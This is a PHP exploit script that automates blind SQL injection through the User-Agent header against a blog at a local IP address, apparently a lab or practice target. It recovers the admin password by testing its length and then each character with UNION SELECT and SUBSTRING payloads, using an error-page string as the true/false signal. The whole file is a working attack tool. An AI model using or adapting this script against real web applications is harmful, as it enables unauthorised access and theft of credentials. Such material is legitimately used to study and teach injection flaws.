Exploit_Blog_hack.php

<?php
	set_time_limit(0);
	header("Content-type: text/plain");    
    
	//========== - Const  - ==============================
	define('WEBSITE', 'http://192.168.0.134/blog_hack/');
	
	$length =  findPasswordLength();
	$pass = findPassword($length);

	function findPasswordLength() {
		$i = 0;
		
		while (true) {
    		$i++;
			$payload = "' UNION SELECT 1,1,1 FROM user WHERE login = 'admin' AND LENGTH(password) = $i #";
			if(ok(callPage($payload))) {
				return $i;
			}
		}
	}

	function findPassword($length) {
		$letters = str_split("1234567890abcdefghijklmnopqrstuvwxyz");
		$result = "";
		echo "Password: "; flush(); ob_flush();
		
		for($i = 1; $i <= $length; ++$i) {
		    foreach($letters as $letter) {
				$payload = "' UNION SELECT 1,1,1 FROM user WHERE login = 'admin' AND SUBSTRING(password, $i, 1) = '$letter' #";
				if(ok(callPage($payload))) {
					echo $letter; flush(); ob_flush();
		            break;
				}
		    }
		}
		
		return $result;
	}
	
	function ok($page) {
		if(stripos($page, "Utilisation d'un navigateur non support") !== false) {
			return false;
		}
		else {
			return true;
		}
	}
	
	//Return the code page
	function callPage($payload) {
		$ch = curl_init();
	
		curl_setopt($ch, CURLOPT_URL, WEBSITE);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_USERAGENT, $payload);

		$page = curl_exec($ch);
		curl_close($ch);
		
		return $page;
	}	

?>